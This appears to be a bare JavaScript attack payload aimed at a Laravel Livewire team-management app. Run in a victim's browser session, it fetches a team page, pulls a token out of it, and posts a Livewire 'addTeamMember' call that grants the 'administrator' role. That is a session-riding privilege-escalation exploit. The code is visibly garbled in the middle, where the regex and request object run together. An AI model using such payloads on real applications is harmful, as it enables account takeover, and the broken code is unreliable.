(async () => { const res = await fetch('/teams/1', { credentials: 'include' }); const html = await res.text(); const token = html.match(/>>", "addTeamMemberForm.role": "administrator" }, calls: [{ path: "", method: "addTeamMember", params: [] }] }] }; const r = await fetch('/livewire/update', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(postData) }); console.log(await r.text()); })();